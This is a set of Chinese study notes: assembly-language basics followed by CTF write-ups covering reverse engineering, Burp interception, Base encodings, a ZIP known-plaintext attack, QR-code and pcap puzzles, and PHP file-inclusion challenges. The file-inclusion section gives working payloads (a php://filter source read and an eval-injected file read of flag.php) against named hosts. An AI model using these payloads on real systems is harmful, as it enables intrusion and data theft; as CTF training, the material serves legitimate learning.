汇编语言--基础知识

基础知识1

汇编语言是直接在硬件之上工作的编程语言,首先要了解硬件系统的结构,才能有效的应用汇编语言对编程。‘

机器语言

机器语言就是机器指令的集合
机器指令展开来讲就是一台机器可以正确执行的指令

汇编语言

主体是汇编的指令,机器指令便于记忆的书写格式。
汇编指令是机器指令的助记符
寄存器 简单的说是CPU中可以存储数据的器件,一个CPU中有多个寄存器。

汇编语言的组成

概念

汇编语言由以下3类组成:

  1. 汇编指令(机器码的助记符)
  2. 伪指令(由编译器执行)
  3. 其他符号(由编译器识别)
    汇编语言的核心是汇编指令它决定了汇编语言的特性

指令还有数据
指令还有数据在内存或者磁盘上,指令还有数据是没有区别的,都是二进制的信息。
存储单元
存储器被划分为若干个单元,每个存储单元从0开始顺序编号;
对于大容量的存储器一还用以下单位来计量容量(以下用B来代表Byte):
一个存储器单元可以存储8个bit,即8位二进制数。
1kb = 1024B
1MB = 1024KB
1GB = 1024MB
1TB = 1024GB
磁盘的容量单位同内存一样,实际上以上单位是微机中常用的计量单位。

CPU对存储器的读写

要想进行数据的读写,必须和外部器件进行三类信息的交互:

  1. 存储单元的地址
  2. 器件的选择,读或者写的命令(控制信息)
  3. 读或者写数据(数据信息)

在计算机中有连接CPU和其它芯片的导线,通常称为总线。
物理上:一根根导线的集合
逻辑上划分为:地址总线、数据总线、控制总线
在这里插入图片描述
地址总线
CPU是通过地址总线来指定存储单元的。
地址总线上能传送多少个不同的信息,CPU就可以对多个存储单元进行寻址。
地址总线的地址 由低到高排列。

  1. 一个CPU有N根地址总线,则可以说这个CPU的地址总线的宽度为N。’
    2.这样的CPU最多可以寻找2的N次方个内存单元。
    数据总线
    数据总线的宽度就决定了CPU和外界的数据传送的速度。
    数据总线是从低位向高位索引的。
    控制总线
    CPU对外部器件的控制是通过控制总线来进行的。在这里控制总线是个总称,控制总线是一些不同控制线的集合。有多少根控制总线,就意味着CPU提供了对外部器件的多少种控制。
    控制总线的宽度决定了CPU对外部器件的控制量。

    内存地址空间

    主板
    在每一台PC机中,都有一个主板,主板上有核心器件和一些主要的器件。
    这些器件通过总线相连。
    接口
    计算机系统中,所有可用程序控制其工作的设备,必须受到CPU的控制。
    CPU对外部设备不能直接控制,如显示器,音响,打印机等。直接控制这些设备进行工作的是插在扩展插槽上的这些接口卡。
    各类存储器的芯片
    从读写属性上看分为两类:随机存储器(RAM)和只读存储器(ROM)
    功能还有连接上分类:随机存储器RAM、装有BIOS的ROM、接口卡上的RAM

定义
最终运行程序的是CPU,我们用汇编编程的时候,必须要从CPU的角度考虑,我们用其他语言进行编程的时候,要从汇编的角度考虑问题。
对于CPU来讲,系统中的所有存储器中的存储单元都处于一个统一的逻辑存储器中,特的容量搜CPU寻址能力的限制,这个逻辑存储器就是我们所说的内存地址空间。

Reverse sign in

定义

软件代码逆向主要是指对软件的结构,流程,算法,代码等进行逆向拆解还有分析。
参考学习链接:https://blog.csdn.net/s1054436218/article/details/71698904

题目分析

该题目是rev1,只有这一个文件

解题方式

1、把文件拖动到IDA中,然后按F5 查看伪代码

在这里插入图片描述
题目是对两个数据进行异或运算,需要找到byte_400818数组里面的数值
选中byte_400818 然后双击进入:

在这里插入图片描述
(char)(_BYTE)(i+a1)
C语言中,内存地址也是用整数int表示(32bit).因此,(BYTE )(i+a1) 表示把整数(i+a1)强制转换为BYTE型数值的地址。
a1其实就是输入字符串的取地址。
(i+a1)便表示的是字符串的第i个字符

2 dup(60h) 在汇编语言中表示两个60h

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <iostream>
int main()
{
int arr[32] = { 0x66,0x6D, 0x63, 0x64, 0x7F, 0x3C, 0x36, 0x72, 0x57, 0x42, 0x64,
0x3B, 0x7B, 0x52, 0x7C, 0x3C, 0x66, 0x54, 0x60,0x60, 0x27,
0x4A, 0x49, 0x7F, 0x71, 0x58, 0x52, 0x72, 0x7D, 0x75, 0x2A,0x62};

for (int i=0;i<32;i++)
{
printf("%c",i^arr[i]);
}
return 0;
}

burp 抓包

更改端口

1、IE浏览器—>Internet选项—>连接–>局域网设置—>设为使用过的端口号X
在这里插入图片描述
2、burp设置,proxy—>options–>设置新的端口号

打开软件的拦截

Intercept - — >inter is on —–>raw

访问网页抓包

这个过程就相当于一个中转站,电脑发送到网站的包被这个中转站拦截,所以网页会出现加载不出来的现象,我们需要手动forword.

针对我们获取到的信息进行修改

转发包forwoad

Base家族

ASCII 是用128(2的8次方)个字符,对二进制数据进行编码的方式

base64编码是用64(2的6次方)个字符,对二进制数据进行编码的方式

base32就是用32(2的5次方)个字符,对二进制数据进行编码的方式

base16就是用16(2的4次方)个字符,对二进制数据进行编码的方式

1.Base64简介

Base64是一种基于64个可打印字符来表示二进制数据的表示方法。base64编码一般有下面两个用途:

a)所有的二进制文件,都可以因此转化为可打印的文本编码(都变成ASCII码可打印字符),使用文本软件进行编辑;

b)能够对文本进行简单的加密。

说白了,一段由0和1组成的串或文件,都能按照base64的编码规则转换成一段由64个字符任意组合的串。

2.Base64编码规则

所谓Base64,就是说选出64个字符—-小写字母a-z、大写字母A-Z、数字0-9、符号”+”、”/“(再加上作为垫字的”=”,实际上是65个字符)—-作为一个基本字符集。然后,其他所有符号都转换成这个字符集中的字符。

具体来说,转换方式可以分为四步:

第一步,将每三个字节作为一组,一共是24个二进制位
第二步,将这24个二进制位分为四组,每个组有6个二进制位
第三步,在每组前面加两个00,扩展成32个二进制位,即四个字节
第四步,根据下表,得到扩展后的每个字节的对应符号,这就是Base64的编码值
Base64索引表在这里插入图片描述
备注:

(1)Base64将三个字节转化成四个字节,因此Base64编码后的文本,会比原文本大出三分之一左右

(2)对于不满3个字节的东东,就需要加上base64编码中的垫字符来补充

(3)Base64编码是可逆的,所以有Base64编码encode和解码decode

(4)Base64主要不是加密,它主要的用途是把一些二进制数转成普通字符用于网络传输(因为一些二进制字符在传输协议中属于控制字符,不能直接传送)。另外,还有一些系统中只能使用ASCII字符。Base64就是用来将非ASCII字符的数据转换成ASCII字符的一种方法。base64其实不是安全领域下的加密解密算法。虽然有时候经常看到所谓的base64加密解密。其实base64只能算是一个编码算法,对数据内容进行编码来适合传输。虽然base64编码过后原文也变成不能看到的字符格式,但是这种方式很初级,很简单。

4.Base32和Base16

在Base家族中还有Base32和Base16,其实Base32/Base16和Base64目的是一样的,只是具体的编码规则的不一样罢了。Base32编码将二进制文件转换成由32个ASCII字符组成的文本;Base16编码则将二进制文件转换成由16个字符组成的文本

Base32Base16
总结:以后见到有一串固定的字符串,和‘=’以及算法中有rol eax ,5等字样要想起来这个是base32的算法。
解题方式:base64+base32+base16+ascii码多次解码

File include

文件包含类型的题目

学习网址

文件包含 150 解题方式

  • 使用php://filter协议读取index文件
1
payload:http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=./index.php

需要对file后面的内容做一些修改

本地包含 60 解题方式

拼接eval构造payload

1
payload:http://123.206.87.240:8003/?hello=);print_r(file("./flag.php"));//

RapidTyping

解题思路

在这里插入图片描述有了第一道题目的经验,但是我还是傻傻的点击了一下,提交查询内容,结果很明了
接下来我们就要对题目进行一个分析。
解题过程:分析网页—爬取—计算—提交

  • 分析界面 F12(其实我更喜欢谷歌浏览器)
    这个图片的信息可以看出是一堆字母还有数字组成的,有明显的base 64的编码说明。
    在这里插入图片描述
  • 接下来,先将网页的内容爬去下来,好久没有写过爬虫代码了,之前都是用的java,后来体会到了Python的强大,所以接下来我要尝试一下Python爬取
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#-*-encoding:utf-8-*-
__author__ = 'ZhangHe'
#爬取网页内容

import requests as req
from bs4 import BeautifulSoup


#获取静态界面
url = 'http://123.207.149.64:23331/captcha/'
r = session.get('http://123.207.149.64:23331/captcha/')
page = req.get(r.text)
html = page.text
bf = BeautifulSoup(html,"lxml")
texts = bf.find('img').get('src').split(',')[1]
print(texts);
  • 解码获得html标签
1
2
3
4
5
dbf = BeautifulSoup(decode,"lxml")
text = dbf.find_all('text')

for txt in text:
print(txt);

在这里插入图片描述

  • 对X坐标进行排序并且拼接字符串(第一次尝试的时候是自由拼接,没有成功)
1
2
3
4
5
6
answer = ''
str = sorted(text1, key=lambda x: float(x.get('x')),reverse=False)
for i in str:
answer += i.string
r = session.post('http://123.207.149.64:23331/captcha/', params={'code': answer})
print(r.text)
  • 这个题目似乎跟网速也有关系,我执行了好几次才成功

Invisible Flag

@TOC

明文攻击

明文攻击是一种较为高效的攻击手段,大致原理是当你不知道一个zip的密码,但是你有一个zip里面的已经知道的文件或者已经通过其他手段知道zip加密文件中的某些内容的时候,因为同一个zip压缩包里面的所有文件都是使用同一个加密的密钥来加密的,所以可以利用已知文件来找加密的密钥,利用密钥来解锁其他加密文件。一般不知道密码的具体长度以及知不知道组成密码的成分,想办法用明文攻击是最快的方式。

zip加密文件的三种破解方式

  1. 暴力破解 ,这是最花时间的一种破解方式,力破解就是不断的去尝试所有可能的密码。如果密码比较短,或许在短时间内可以找到正确的密码。但是如果比较长,比如说用64个字符长的字符串来做密码的话,可能你重生十次后发现依然未能找到答案。
  2. 字典攻击,相比于暴力破解这种弱智儿童,字典攻击大概就是三岁小孩的智商。它使用了一个字典文件,然后一一尝试文件中的每个密码。现在在网络上有很多的人相互共享自己的字典文件,这使得字典攻击比暴力破解有效率得多。尤其是当目标文件是用一个弱密码进行保护的时候,字典攻击效率较高。但是,由于字典攻击没有囊括所有可能的密码,所以对于强密码保护的zip文件,字典攻击毫无办法。
  3. 明文攻击,这是到目前为止最智能的一种攻击方法。眼见为实,你可以亲自尝试一下。但是首先,你需要一些前提条件:
    • 一个加密的压缩文件
    • 了解压缩文件的zip版本(比如加密平台、zip版本号等,可以通过文件属性了解。如果是linux平台,用unzip -v命令可以查看一个zip包的详细信息,包括加密算法等。)
    • 知道压缩包里某个文件的部分连续内容(至少12字节)
    • 运气

      破解过程

      工具有PKCrack (LINUX) 还有Advanced Zip Passwword Recory
      我这里选择使用AZPR
      明文攻击使用Plain_text attack在这里插入图片描述
      最后保存一下新的文件就是已经破解出来的文件啦

作者:Gorge


Another 01Game

题目分析

题目是由1369个01组成的01串<
正确思路:
0和1的数量很关键,首先统计0和1的数量:
1369.0/7 = 195.57142857142858
1369.0/8 = 171.125
1369.0 ** 0.5 = 37.0
1369不是7和8的倍数,说明很可能和ASCII没关系。1369 是 37 的平方,说明可以由0和1正好组成一个正方形(二维码,QR code)。
可以使用Python、MATLAB 等编程生成图片。扫描得到 另一个01字符串。
统计字符串长度,可以当作 ASCII 编程解出 flag

解题过程

先说一下错误的解题过程吧

简单明了的说,是应为对二维码的生成的错误理解,还有对题目的曲解

  • 首先下载下来txt文件之后,看到python生成二维码,立刻想到python里面的qrcode二维码生成库。
  • import qrcode qr = qrcode.QRCode( version=7, error_correction=qrcode.constants.ERROR_CORRECT_L, box_size=10, border=4, ) path="C:\\Users\\hp\\Desktop\\aa.png" files = open("C:\\Users\\hp\\Desktop\\0and1.txt","r") data = files.readline() print(data); qr.add_data(data) qr.make(fit=True) img = qr.make_image() img.show()
  • 二维码生成是获取里面的内容,怎么想也没想明白,怎么没有的到想要的结果,01的输出也不是按照37*37的过程输出的。
  • 睡觉……

    正确解法

  • 今天早晨醒来,重新梳理了一下思路,既然01能组成正方形了,换了一个想法,就是把这个01换成二维码的形式,然后又百度了二维码的内在含义。
  • 二维条码/二维码(2-dimensional bar code)是用某种特定的几何图形按一定规律在平面(二维方向上)分布的黑白相间的图形记录数据符号信息的;在代码编制上巧妙地利用构成计算机内部逻辑基础的“0”、“1”比特流的概念,使用若干个与二进制相对应的几何形体来表示文字数值信息
    `i=0;
    for c in data:
    i=i+1
    if c==’0’:

    print('██',end="")
    

    else:

    print('    ',end="")
    

    if i % 37 == 0:

    print()`
    

    这儿刚开始二维码比较大,只能不断的缩小字体大小才先显示出来哦~~终于扫出来了一个新的01字符串在这里插入图片描述

  • 根据题目提示,然后使用ASCII码进行解题,得到flag.
1
2
3
4
5
6
7
8
9
10
data = '110011011011001100001110011111110111111001011000010101011011111100101110011101001111101011110111111100001110001001100001110101111010010111111110001101001010000110110000110010001100111111101'
i=0;
s='0'
for c in data:
s=s+''+c;
i=i+1
if i % 7 == 0:
a = int(s,2)
print(chr(a),end="")
s='0'

Forensics2

题目分析

wireshark about file

解题过程

  1. 首先是下载文件之后发现是pcap结尾的文件。然后用Wireshark打开进行分析。
  2. 进入之后先是理解了10.0.0.22作为客户端与10.0.0.2作为服务器三次握手的过程。
  3. 浏览全部协议主要有TCP/SSHv2/NFS/MOUNT/ICMP/ARP

    TCP 传输控制协议(Transmission Control Protocol,TCP)是一种面向连接的、可靠的、基于字节流的运输层通信协议,主要用于在主机间建立一个虚拟连接,以实现高可靠性的数据包交换。
    SSHv2 为建立在应用层和传输层基础上的安全协议,是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题.
    NFS (Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。
    MOUNT 在linux系统下,此命令用来将其他文件系统(FAT32 NTFS 光驱)的分区挂接到系统的制定目录下使用。
    ICMP 它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
    ARP 即地址解析协议,实现通过IP地址得知其物理地址。

  4. 综合分析上述因素,我们的重点应该放在NFS上面

  5. 过滤NFS的选项进行查看,发现有flag的txt文件

在这里插入图片描述
点击进入这一条之后,没有发现详细信息里面有特殊信息,于是向上找,
找到了Write写入字样的NFS,
在这里插入图片描述
查找后可以看到如下截图:
在这里插入图片描述
对这一条数据进行右键——>显示分组字节,将解码方式设置为压缩
EIS{Nfs_G00d_f0r_Trust3d_Netw0rk_0nly}

Invisible Flag

使用010 Editor (或者WinHex)打开图片查看图片真实信息

在这里插入图片描述

了解各个部分信息的含义

在这里插入图片描述

这道题目既然是跟图片长度有关系的 题目因此我们接下来更改一下图片的长宽信息:

图片很显然下面没有显示全
宽度为564像素
高度为400像素
图片真实信息
宽度 00 00 02 34对应的十进制数字是564
高度 00 00 01 90对应的十进制数字是400
增加高度
只需要改变后两位就可以啦

图片另存为

flag{bigger_than_you_can_imagine}